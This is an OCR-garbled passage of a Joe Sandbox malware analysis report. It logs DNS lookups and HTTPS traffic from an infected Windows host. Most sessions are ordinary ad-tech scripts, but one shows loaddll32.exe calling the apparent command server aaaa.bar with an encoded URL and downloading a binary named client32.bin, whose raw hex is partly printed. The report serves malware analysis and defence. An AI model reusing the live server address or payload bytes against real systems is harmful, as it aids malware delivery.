Oct 20, 2021 8.8.8.8 192.168.2.5 0xd38f No error (0) tls13.tabo 151.101.193.44 A (IP address)  IN (0x0001)
15:08:55.814032078 ola.map.fa

CEST stly.net

Oct 20, 2021 8.8.8.8 192.168.2.5 Oxabcb No error (0) aaaa.bar 31.220.111.98 A (IP address)  IN (0x0001)
15:12:01.930294037

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0x7101 No error (0) aaaa.bar 31.220.111.98 A (IP address)  IN (0x0001)
15:12:02.116945028

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 Oxbb42 No error (0) aaaa.bar 31.220.111.98 A (IP address)  IN (0x0001)
15:12:08.409462929

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 0x3bf8 No error (0) aaaa.bar 31.220.111.98 A (IP address)  IN (0x0001)
15:12:14.839359999

CEST
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 20, 2021 8.8.8.8 192.168.2.5 0x8546 No error (0) resolverl. 208.67.222.222 A (IP address)  IN (0x0001)
15:12:39.655416965 opendns.com

CEST

Oct 20, 2021 8.8.8.8 192.168.2.5 Ox1e25 No error (0) resolverl. 208.67.222.222 A (IP address)  IN (0x0001)
15:12:39.655639887 opendns.com

CEST

Oct 20, 2021 208.67.222.222 192.168.2.5 Ox1 No error (0) 222.222.67 PTR (Pointer IN (0x0001)
15:12:39.674038887 .208.in-ad record)

CEST dr.arpa

Oct 20, 2021 208.67.222.222 192.168.2.5 0Ox1 No error (0) 222.222.67 PTR (Pointer IN (0x0001)
15:12:39.674038887 .208.in-ad record)

CEST dr.arpa

Oct 20, 2021 208.67.222.222 192.168.2.5 Ox1 No error (0) 222.222.67 PTR (Pointer IN (0x0001)
15:12:39.674038887 .208.in-ad record)

CEST dr.arpa

Oct 20, 2021 208.67.222.222 192.168.2.5 Ox1 No error (0) 222.222.67 PTR (Pointer IN (0x0001)
15:12:39.675980091 .208.in-ad record)

CEST dr.arpa

Oct 20, 2021 208.67.222.222  192.168.2.5 0Ox1 No error (0) 222.222.67 PTR (Pointer IN (0x0001)
15:12:39.675980091 .208.in-ad record)

CEST dr.arpa

Oct 20, 2021 208.67.222.222 192.168.2.5 0Ox1 No error (0) 222.222.67 PTR (Pointer IN (0x0001)
15:12:39.675980091 .208.in-ad record)

CEST dr.arpa

Oct 20, 2021 208.67.222.222 192.168.2.5 0x2 No error (0) myip.opend 102.129.143.33 A (IP address)  IN (0x0001)
15:12:39.690810919 ns.com

CEST

Oct 20, 2021 208.67.222.222 192.168.2.5 0x2 No error (0) myip.opend 102.129.143.33 A (IP address)  IN (0x0001)
15:12:39.692991972 ns.com

CEST

HTTP Request Dependency Graph

e https:

e geolocation.onetrust.com
btloader.com
ad-delivery.net
ad.doubleclick.net
img.img-taboola.com

e o o o

e aaaa.bar

HTTPS Proxied Packets

Session ID Source IP Source Port

0 192.168.2.5 49784
kBytes

Timestamp transferred Direction

2021-10-20 13:08:35 UTC 0 ouT

2021-10-20 13:08:35 UTC 0 IN

2021-10-20 13:08:35 UTC 0 IN

Copyright Joe Security LLC 2021

Destination IP  Destination Port Process

104.20.184.68 443

Data

GET /cookieconsentpub/vl/geo/location HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: geolocation.onetrust.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 20 Oct 2021 13:08:35 GMT

Content-Type: text/javascript

Content-Length: 182

Connection: close

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Server: cloudflare

CF-RAY: 6a1279ccae526967-FRA

Data Raw: 6a 73 6f 6e 46 65 65 64 28 7b 22 63 6f 75 6e 74 72 79 22 3a 22 43 48 22 2¢ 22 73 74 61 74 65 22 3a 22 5a 47
222c 2273 74 61 74 65 4e 61 6d 65 22 3a 22 5a 75 67 22 2¢c 22 7a 69 70 63 6f 64 65 22 3a 22 36 33 33 31 22 2¢ 22 74
69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 6¢ 61 74 69 74 75 64 65 22 3a 22 34 37 2e
31 39 33 37 30 22 2c 22 6¢ 6f 6e 67 69 74 75 64 65 22 3a 22 38 2e 34 32 30 32 30 22 2¢ 22 63 69 74 79 22 3a 22 48 75
6e 65 6e 62 65 72 67 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 22 45 55 22 7d 29 3b

Data Ascii: jsonFeed({"country":"CH","state":"ZG","stateName":"Zug","zipcode":"6331","timezone":"Europe/Zurich","latitud
€":"47.19370","longitude":"8.42020","city":"Hunenberg","continent":"EU"});
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Session ID Source IP

1 192.168.2.5
kBytes
Timestamp transferred

2021-10-20 13:08:42 UTC 0

2021-10-20 13:08:42 UTC 1

2021-10-20 13:08:42 UTC 1

2021-10-20 13:08:42 UTC 2

2021-10-20 13:08:42 UTC 3

2021-10-20 13:08:42 UTC 5

2021-10-20 13:08:42 UTC 6

Copyright Joe Security LLC 2021

Source Port

49821

Direction

ouT

Destination IP Destination Port Process

104.26.7.139 443

Data

GET /tag?0=6208086025961472&upapi=true HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: btloader.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 20 Oct 2021 13:08:42 GMT

Content-Type: application/javascript

Content-Length: 10157

Connection: close

Access-Control-Allow-Origin: *

Cache-Control: public, max-age=1800, must-revalidate

Etag: "643eblaad6ba3932ca744h96ffc00048"

Vary: Origin

Via: 1.1 google

CF-Cache-Status: HIT

Age: 214

Accept-Ranges: bytes

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.comVireport\/\v3?s=rXekkW5gTi%2FA5lu%2FUbkZIAOV299R
8U3gevFM6pvQsILGWOKSkrjKdwnSjAH3cMUXNzOU4X6D%2FgmFv1PlaTyG3cvGeawQ7WWDHt8kQcPVb4
%2FU30YgrYBfJlVgywKmpg%3D%3D"}],"group":“cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6a1279f47c095c9e-FRA

Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28
65 2c 69 2¢ 63 2c 6¢ 29 7b 72 65 74 75 72 6e 20 6e 65 77 28 63 3d 63 7c 7c 50 72 6f 6d 69 73 65 29 28 66 75 6e 63 74
69 6f 6e 28 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 74 72 79 7b 72 28 6¢ 2e 6e 65 78 74 28 65 29 29 7d
63 61 74 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 74 72 79 7b 72 28 6¢C 2e 74 68
72 6f 77 28 6529 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 76 61 7
220 74 3b 65 2e 64 6f 6e 65 3f 6e 28 65 2e 76 61 6¢ 75 65 29 3a 28 28 74 3d 65 2e 76 61 6¢ 75 65 29 69 6e 73 74 61 6e
63 65 6f 66 20 63 3f 74 3a 6e 65 77 20 63 28 66 75 6e 63 74 69 6f

Data Ascii: !function(){"use strict";function r(e,i,c,I){return new(c=c||Promise)(function(n,t){function o(e){try{r(l.next(e))}cat
ch(e){t(e)}}function a(e){try{r(l.throw(e))}catch(e){t(e)}}function r(e){var t;e.done?n(e.value):((t=e.value)instanceof c?t:new
c(functio

Data Raw: 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f
6e 28 74 29 7b 69 66 28 61 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72
2069 73 20 61 6¢ 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 63 3b 29 74 72 79 7b 69 66
28 61 3d 31 2¢ 72 26 26 28 69 3d 32 26 74 5b 30 5d 3f 72 2e 72 65 74 75 72 6e 3a 74 5b 30 5d 3f 72 2e 74 68 72 6f 77 7c
7c 282869 3d 72 2e 72 65 74 75 72 6e 29 26 26 69 2e 63 61 6¢ 6¢ 28 72 29 2¢ 30 29 3a 72 2e 6e 65 78 74 29 26 26 21
28 69 3d 69 2e 63 61 6¢ 6¢ 28 72 2¢ 74 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 69 3b 73 77 69 74 63 68 2
872 3d 30 2c 69 26 26 28 74 3d 5b 32 26 74 5b 30 5d 2c 69 2e 76

Data Ascii: t){return function(e){return function(t){if(a)throw new TypeError("Generator is already executing.");for(;c;)try{if(a=
1,r&&(i=2&t[0]?r.return:t[0] ?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,t[1])).done)return i;switch(r=0,i&&(t=[2&t
[0],i.v

Data Raw: 7c 7c 77 69 6e 64 6f 77 2e 64 6 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6¢ 65 6d 65 6e 74 29 2e 61
7070 65 6e 64 43 68 69 6¢ 64 28 65 29 7d 29 7d 76 61 72 20 75 2¢ 61 2c 64 2c 62 2¢ 6d 3b 75 3d 22 36 32 30 38 30 38
36 3032 35 39 36 31 34 37 32 22 2¢ 61 3d 22 62 74 6¢ 6f 61 64 65 72 2e 63 6f 6d 22 2c 64 3d 22 61 70 69 2e 62 74 6¢ 6f
61 64 65 72 2e 63 6f 6d 22 2¢ 62 3d 22 32 2e 30 2e 32 2d 32 2d 67 66 64 63 39 30 35 34 22 2c 6d 3d 22 22 3b 76 61 72
20 6f 3d 7b 22 6d 73 6e 2e 63 6f 6d 22 3a 7b 22 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 22 3a 74 72 75 65 2¢ 22 6d
6f 62 69 6¢ 65 5f 63 6f 6€ 74 65 6e 74 5f 65 6€ 61 62 6¢ 65 64 22 3a 66 61 6C 73 65 2C 22 77 65 62 73 69 74 65 5f 69 64
22 3a 22 3536 37 31 37 33 37 33 38 38 36 39 35 35 35 32 22 7d

Data Ascii: [|window.document.documentElement).appendChild(e)})}var u,a,d,b,m;u="6208086025961472",a="btloader
.com",d="api.btloader.com",b="2.0.2-2-gfdc9054",m="";var o={"msn.com":{"content_enabled":true,"mobile_content_
enabled":false,"website_id":"5671737388695552"}

Data Raw: 64 65 78 4f 66 28 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 26 26 28 74 3d 21 30 2c 70 2e 77 65 62
73 69 74 65 49 44 3d 6f 5b 6e 5d 2e 77 65 62 73 69 74 65 5f 69 64 2c 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 3d
6f 5b 6e 5d 2e 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 2¢ 70 2e 6d 6f 62 69 6¢ 65 43 6f 6e 74 65 6e 74 45 6e 61 62
6c 65 64 3d 6f 5b 6e 5d 2e 6d 6f 62 69 6¢ 65 5f 63 6f 6e 74 65 6€ 74 5f 65 6€ 61 62 6¢ 65 64 29 3b 74 7¢ 7c 28 28 6e 65
7720 49 6d 61 67 65 29 2e 73 72 63 3d 22 2f 2f 22 2b 64 2b 22 2f 6¢ 3f 65 76 65 6€ 74 3d 75 6e 6b 6e 6f 77 6e 44 6f 6d
61 69 6e 26 6f 72 67 3d 22 2b 75 2b 22 26 64 6f 6d 61 69 6e 3d 22 2b 65 29 7d 28 29 2c 77 69 6e 64 6f 77 2e 5f 5f 62 74
5f 74 61 67 5f 64 3d 7b 6f 72 67 49 44 3a 75 2c 64 6f 6d

Data Ascii: dexOf(n.toLowerCase()))&&(t=!0,p.websiteID=o[n].website_id,p.contentEnabled=o[n].content_enabled,p
.mobileContentEnabled=o[n].mobile_content_enabled);t||((new Image).src="//"+d+"/I?event=unknownDomain&org="+u+
"&domain="+e)}(),window.__bt_tag_d={orglD:u,dom

Data Raw: 6e 28 65 29 7b 76 61 72 20 74 3d 63 2e 62 75 6e 64 6¢ 65 73 5b 65 5d 3b 69 5b 65 5d 3d 7b 6d 69 6e 3a 4d 61
7468 2e 74 72 75 6e 63 28 31 30 30 2a 28 2b 6f 2b 30 29 29 2c 6d 61 78 3a 4d 61 74 68 2e 74 72 75 6e 63 28 31 30 30
2a 28 2b 6f 2b 30 2b 74 29 29 7d 2c 6f 2b 3d 74 7d 29 7d 76 61 72 20 6¢ 3d 74 5b 30 5d 3b 69 66 28 6e 75 6¢ 6¢ 21 3d 6C
26 26 6¢ 2e 62 75 6e 64 6¢ 65 73 29 7b 76 61 72 20 73 3d 6f 2c 75 3d 31 2d 6f 3b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6¢
2e 62 75 6e 64 6¢ 65 73 29 2e 73 6f 72 74 28 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72
20 74 3d 6¢ 2e 62 75 6e 64 6¢ 65 73 5b 65 5d 3b 69 5b 65 5d 3d 7b 6d 69 6e 3a 4d 61 74 68 2e 74 72 75 6e 63 28 31 30
30 2a28 73 2b 75 2a 61 29 29 2c 6d 61 78 3a 4d 61 74 68 2e 74

Data Ascii: n(e){var t=c.bundles[e];i[e]={min:Math.trunc(100*(+0+0)),max:Math.trunc(100*(+0+0+t))},0+=t})}var I=t[0];if(
null!=I&&I.bundles){var s=o0,u=1-0;0bject.keys(l.bundles).sort().forEach(function(e){var t=I.bundles[e];i[e]={min:Math.tr
unc(100*(s+u*a)),max:Math.t
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kBytes
Timestamp transferred

2021-10-20 13:08:42 UTC 7

2021-10-20 13:08:42 UTC 9

2021-10-20 13:08:42 UTC 10

2021-10-20 13:08:42 UTC 11

Session ID Source IP

10 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:12:02 UTC 113

2021-10-20 13:12:03 UTC 114

2021-10-20 13:12:03 UTC 115

2021-10-20 13:12:03 UTC 146

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49952

Direction

ouT

Data

Data Raw: 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6f 29 7d 63 61 74 63 68 28 65 29 7b 7d 76 61 72 20
61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 3b 61
2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 74 2c 6e 2e 62 75 62 62 6¢ 65 73 2C 6e 2e 63 61 6e 63 65 6¢ 61 62
6¢ 65 2c 6e 2e 64 65 74 61 69 6¢ 29 2c 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 61 29 7d 66 3d 7
b 7d 2c 77 69 6e 64 6f 77 2e 5f 5f 62 74 5f 69 6e 74 72 6e 6¢ 3d 7b 74 72 61 63 65 49 44 3a 77 2e 74 72 61 63 65 49 44 7
d 3b 747279 7b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 72 28 74 68 69 73 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 66 7
5 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 6e 2c 6f 3b 72 65

Data Ascii: ndow.dispatchEvent(o)}catch(e){}var a=document.createEvent("CustomEvent");a.initCustomEvent(t,n.bu
bbles,n.cancelable,n.detail),window.dispatchEvent(a)}f={},window.__bt_intrnl={tracelD:w.tracelD};try{!function(){r(this,void
0,void 0,function(){var t,n,o;re

Data Raw: 6f 6e 74 65 6e 74 22 29 7c 7c 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 2c 70 2e 6d 6f 62 69 6¢ 65 43
6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 3d 22 74 72 75 65 22 3d 3d 6¢ 6f 63 61 6¢ 53 74 6f 72 61 67 65 2€ 67 65 74 49 74
65 6d 28 22 66 6f 72 63 65 4d 6f 62 69 6¢ 65 43 6f 6e 74 65 6e 74 22 29 7c 7c 70 2e 6d 6f 62 69 6¢ 65 43 6f 6e 74 65 6e
74 45 6e 61 62 6¢ 65 64 29 2c 70 2e 77 65 62 73 69 74 65 49 44 26 26 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64
26 26 28 21 28 6e 3d 2f 28 61 6e 64 72 6f 69 64 7c 62 62 5¢ 64 2b 7c 6d 65 65 67 6f 29 2e 2b 6d 6f 62 69 6¢ 65 7c 61 76
61 6e 74 67 6f 7c 62 61 64 61 5¢ 2f 7c 62 6¢ 61 63 6b 62 65 72 72 79 7c 62 6C 61 7a 65 72 7C 63 6f 6d 70 61 6C 7C 65 BC
61 69 6e 65 7c 66 65 6e 6e 65 63 7c 68 69 70 74 6f 70 7c 69

Data Ascii: ontent")||p.contentEnabled,p.mobileContentEnabled="true"==localStorage.getltem("forceMobileContent
")||p.-mobileContentEnabled),p.websitelD&&p.contentEnabled&&(!(n=/(android|bb\d+|meego).+mobile|avantgo|badaV/|
blackberry|blazer|compal|elaine|fennec|hiptopli

Data Raw: 73 29 7c 6d 6d 65 66 7c 6d 6f 28 30 31 7c 30 32 7c 62 69 7c 64 65 7c 64 6f 7c 74 28 5¢ 2d 7c 20 7c 6f 7c 76 29
7c7a7a29 7c 6d 74 28 3530 7¢ 70 31 7c 76 20 29 7c 6d 77 62 70 7c 6d 79 77 61 7c 6e 31 30 5b 30 2d 32 5d 7c 6e 32
305b 32 2d 33 5d 7c 6e 33 30 28 30 7c 32 29 7c 6e 35 30 28 30 7c 32 7c 35 29 7c 6e 37 28 30 28 30 7c 31 29 7c 31 30
29 7c 6e 65 28 28 63 7c 6d 29 5¢c 2d 7c 6f 6e 7c 74 66 7c 77 66 7c 77 67 7c 77 74 29 7c 6e 6f 6b 28 36 7c 69 29 7c 6e 7a
70 68 7c 6f 32 69 6d 7c 6f 70 28 74 69 7c 77 76 29 7c 6f 72 61 6e 7c 6f 77 67 31 7c 70 38 30 30 7c 70 61 6e 28 61 7c 64
7c 7429 7c 70 64 78 67 7¢ 70 67 28 31 33 7c 5¢ 2d 28 5b 31 2d 38 5d 7c 63 29 29 7c 70 68 69 6¢ 7c 70 69 72 65 7c 70
6c 28 61 79 7c 75 63 29 7c 70 6e 5¢ 2d 32 7c 70 6f 28 63 6b 7c

Data Ascii: s)|mmeflmo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(
0[1)|10)|ne((c|m)\-|on|tflwflwg|wt)|nok(6|i)|nzph|o2im|op(tijwv)|oran|owg1|p800|pan(ald|t)| pdxg|pg(13|\-([1-8]|c))|phil|

pire pl(ay]uc) pn\-2po(ck|

Data Raw: 72 6e 5b 32 5d 7d 7d 29 7d 29 7d 28 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 28 29 3b Oa
Data Ascii: rn[2]}})})}()}catch(e){}}();

Destination IP Destination Port Process

31.220.111.98 443 C:\Windows\System32\loaddll32.exe

Data

GET /jdraw/v6MBuMp_2/FbQ1ciPPyCG2FcgWXCEwW/4p6JWEqOHgaqgmtUZIW/iZ4hp74waYQa3SoGGuOhol/ovuxQ
rp7KsWgS/wBggvPBS/iWInt5CFnlyvSapyHgJyYxn/O_2F_2BUYe/fLDTK5RpDf_2F9mZ_/2F7NAIxeGgZa/QcsaY?2
1TZZx/U7QIv9qIBRWqpg/DR61HU_2FzqgxKP2wonEs/EKSZK.crw HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Wed, 20 Oct 2021 13:12:02 GMT

Content-Type: application/zip

Content-Length: 178758

Connection: close

X-Powered-By: PHP/5.4.16

Set-Cookie: PHPSESSID=al703vnk3gvkbspp3p283jhcg4; path=/; domain=.aaaa.bar
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: public

Pragma: no-cache

Set-Cookie: lang=en; expires=Fri, 19-Nov-2021 13:12:03 GMT; path=/; domain=.aaaa.bar
Content-Transfer-Encoding: Binary

Content-Disposition: attachment; filename=client32.bin

Data Raw: 48 09 14 d8 bf b2 ec 04 c8 3f fb 4a d3 80 06 fO bd 59 db e6 a5 dc 23 c3 ¢4 68 50 2b ¢5 72 6b 51 b9 b6 5d f6 b0
8c e5 6¢ 92 cd 4f eb 84 b9 2a 59 ¢3 36 el €6 ff 74 17 e2 17 9f 76 48 el 10 c¢3 10 20 de 74 a3 61 05 3d 18 af ac d1 94 a7
dc dc 5f f5 ba 05 9e 73 7e 12 fb c3 d6 e6 b3 38 19 98 c6 03 29 3f e2 e7 9e 10 4f 5 6¢ 76 05 ad a2 46 50 82 ef cd d6 8c Oe
b7 d4 7a 83 Ob da 2d 3f 56 17 al 34 c0 54 e5 30 ea 5b 21 4d d8 8f 21 be 07 db Ob 89 d7 cf 77 3b 02 38 71 1c 1f 9b 78 8e
6f 9b b0 e6 1c 94 9b b3 54 21 79 3e 7e 33 82 21 be 10 b5 61 81 24 d9 8a 08 5 e7 50 bd 70 de 91 53 e6 73 d6 c6 19 5e 05
39 caaa 07 24 5b aa 6¢ 8c 1d 89 d8 40 d1 82 e6 df 9e 85 6d c2 2a f3 5b 6b a5 60 05 cd cf 4f 2¢ bf c1 14 5d d9 66 4e 14
99 c2 6a 73 24 a6 b0 d9 6e 5b Oc a9 73 a8 5e db 86

Data Ascii: H?2JY#hP+rkQJIO*Y6tvH ta=_s~8)?0IvFPz-?VATO[!M!w;8qxoT!y>~31a$PpSs"9$[l@m*[k O,]fNjs$n[s"

Data Raw: 2f cd 4e e2 6d 3d b3 6d 18 6d b2 a4 52 9a 26 35 ce 65 b9 6f 85 b3 63 50 5a d2 fO a8 20 62 9e a5 7a 86 87 fa
a6 29 11 07 45 0d 42 b6 a4 07 73 ff c1 af 02 c1 71 9¢ 22 bd ed c1 9d 20 12 68 45 94 Oe 31 66 ed c4 4f ee 1d 8d 97 64 a5
6b 76 95 72 e7 fc bb 76 38 22 9d 93 c7 ee a4 6 76 97 81 b0 53 2e b9 4a d2 2e Oe d1 fO 42 c8 99 45 c3 4f 1b 82 3a 6¢ 44
b1 d0 4e 60 68 Of ca aa 59 27 0d 82 44 0f Oe d8 6¢ a5 f2 5a 2b 34 51 Oc e c0 fe 2b 71 00 27 20 Oe 37 af 8d a3 95 5f 9b 29
€9 d8 35 b8 2a 66 d5 20 3a 90 9c 22 7b b6 ab 88 6e 32 bd 60 33 05 bl 67 fO a8 e4 ca 6d 9d Oe db 05 ea 8c cc aa 2a b6
7521 e3ac 76 51 cd be e0 2d d9 17 8b 7 c2 2d a6 66 e0 ad f0 fe d4 f9 06 9d 93 f2 9f e0 ab 3b 40 70 7 be 38 ab b5 b6 ee
6 ee 83 bf 4c 8e d3 35 32 fd e9 f1 8d 4d ac 91 22 ad

Data Ascii: /Nm=mmR&5eocPZ bz)EBsq" hE1fOdkvrv8"vS.J.BEO:IDN hY'DIZ+4Q+q" 7_)5*f :"{n2'3gm*ulvQ--f;@p8L52M"
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kBytes
transferred

Timestamp

2021-10-20 13:12:03 UTC 162

2021-10-20 13:12:04 UTC 210

2021-10-20 13:12:04 UTC 242

2021-10-20 13:12:04 UTC 274

2021-10-20 13:12:04 UTC 290

2021-10-20 13:12:04 UTC 338

2021-10-20 13:12:05 UTC 354

2021-10-20 13:12:05 UTC 402

2021-10-20 13:12:05 UTC 418

kBytes
transferred

Session ID Source IP
11 192.168.2.5
Timestamp

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49954

Direction

Data

Data Raw: 6¢ a4 51 4a fc 7b bd 7f d9 f1 6b fc ec fb 6e 90 d2 79 58 19 81 5e 45 bc fc 54 04 a7 aa 6e 06 bf 25 c5 ef 09 12
4a f3 bb 53 2d be 21 39 1a 89 89 0f 91 39 7c 77 36 df 8¢ 02 73 e8 43 9a fb 3e f4 0a ab 75 20 cc ad 03 ca 76 2b 3e 1c 6d
95 d3 58 e2 96 a2 0d 81 ce 3e b5 30 97 fa 16 ce dc da ed 8 bb 1c b3 d7 33 42 62 26 04 50 c9 ae a2 8a d7 Oc bd 59 fa 3d
b7 94 9e e8 25 4b 9b 40 be 76 €8 3a ad 03 7f 12 a2 78 80 35 36 16 85 39 d8 c9 fO 3¢ 10 35 d3 2b 07 8d 44 02 38 bc e6 85
7ce7 8b b7 258b 79 c8 7aee ee 1b cc 72 06 c8 2a e0 17 al c7 c¢5 41 68 75 09 bl c5 32 Ob 5e 03 01 6 3b cc 77 07 e5 6f
4d 51 1b 95 cb 1d 16 30 1a 06 c1 a5 cd 08 al b6 f6 26 4e ba f8 a2 49 2c 1c 43 76 d1 a5 c5 47 99 6e 05 bd a7 1le c6 e6 03
94 f4 ad be 58 f1 71 89 43 63 13 8a 1e 32 e4 a8 18 93

Data Ascii: IQJ{knyX"ETn%JS-!99|w6sC>u v+>mX>03Bb&PY=%K@Vv:x569<5+D8|%yzr*Ahu2";woMQO&NI,CvGnXgCc2

Data Raw: 7e ea d5 61 40 ab fb af 71 2d 8f d2 47 3c 64 96 3c ba 94 64 3e 8e 22 cd e5 f0 9c a7 b2 f9 30 8d 3c 67 e0 7e a7
75 Oe ec e4 96 cb 75 96 d2 1c bf 2a 64 ad 95 7b 4c 2c 24 26 4f 38 4d d1 2a 9f 01 f5 f5 6¢ Od ac 63 08 34 e7 34 e2 99 b4
57 a9 1f 75 a7 ee aa O0a 3b 50 1le Ob ac 4a ce ee 01 ¢3 32 96 1b bd 04 f7 Oa c8 3b 88 1e e6 d3 b0 de 5¢ b7 76 9f 20 66 82
13 55 7a 3e 5¢c cb 79 14 ab 5c fa 96 18 e5 67 d2 19 90 78 9f ee 30 8c f1 3f 2e d6 ec ba 9a 6b f8 da 05 d4 37 52 8b a3 Oa
1a 19 05 Oa e7 5a 88 00 8b 2a 36 08 41 f9 1b €9 97 d2 26 Oc 97 de 7 ed c6 73 ab d5 8a 06 ef 27 be Oa 4e c3 0a e9 be 5a
6f ac a9 19 20 98 07 51 2b 13 07 36 be 09 b9 b7 41 1a 66 56 b6 b1 3a ac 8f ch 62 3b fa 4f 63 78 a8 29 6¢ 69 cf 83 6b al
al d5 9f 98 f7 51 83 7c ¢3 25 cb 56 a3 la ed 3c 71 bf

Data Ascii: ~a@q-G<d<d>"0<g~uu*d{L,$&08M*Ic44Wu;PJ2;\v fUz>\y\gx0?.k7TRZ*6A&s'NZo Q+6AfV:b;Ocx)likQ|%V<q

Data Raw: 07 bf c6 €9 1a 58 a9 33 df a8 90 c1 fd 9b 14 b6 42 49 Oc 43 9b al 5d 41 d4 93 8f 95 f2 5d 15 06 7a 88 d4 71 60
fO d1 0d de 58 30 ad 70 50 bb dc 51 5¢ ef 92 cd 96 19 42 49 c5 a7 f8 64 5d 57 9e 9d b9 e0 35 96 3c 1f 93 d4 1d 79 3b be
c9 b0 31 98 fd bc 80 3f d1 14 89 b0 b4 78 16 cb 9a d1 b4 2b 9a 06 d1 06 1a 64 a3 10 4c ce 3a 8a 60 7c 73 b2 8b 7e 79 af
a2 dc d1 6f 54 60 79 9f f4 96 38 4f 3b 0d 9e 31 ea c1 4b 1a c1 40 09 64 af 88 bc 54 18 ff 22 1f c7 04 06 86 79 fb 40 18 e4
1a 1f 36 a5 9e 94 ba 5f b7 60 6a 56 6a 8d 1c a6 41 53 d8 ca c6 a4 5a aa 51 ab a7 27 00 4d e4 3b e8 81 18 ba ea 8e 7c 6e
65 4d al a0 1c 3f bf 81 27 ¢8 85 c0 08 €9 ee 06 c9 47 cd a4 58 3¢ 71 b2 83 94 31 1c 7f a7 b3 c7 68 34 ff 5e 29 23 a3 8c al
2190 5b 3d 77 c6 bb 48 39 f2 a4 c2 e2 4f 7c 9d

Data Ascii: X3BIC]A]zq X0pPQ\BId]W5<y;1?x+dL:"|s~yoT y80;1K@dT"y@6_ jVJASZQ'M;|neM?'GX<qlh4")#![=wHIO|

Data Raw: 16 04 3b 3b 83 5a 48 f4 b6 a6 d4 fb 3d 29 fe c2 33 de e5 b2 33 c2 37 d4 e5 94 65 72 83 c2 84 59 €9 4d 55 cf cO
7195 42 b2 09 27 57 70 1b 29 4a 9b 25 79 fa 14 8 34 4a 28 af fd c0 0a 76 3d 2f dc cb 57 96 d3 ed df 8c 84 e8 1d c5 80 de
f0 53 e0 08 96 90 2b fb b3 89 01 8c fe ba 6b 9a 67 71 00 b5 fc 2a 36 f6 da c3 1f 71 26 a8 a4 a7 99 49 ad 9f 98 07 72 49 d2
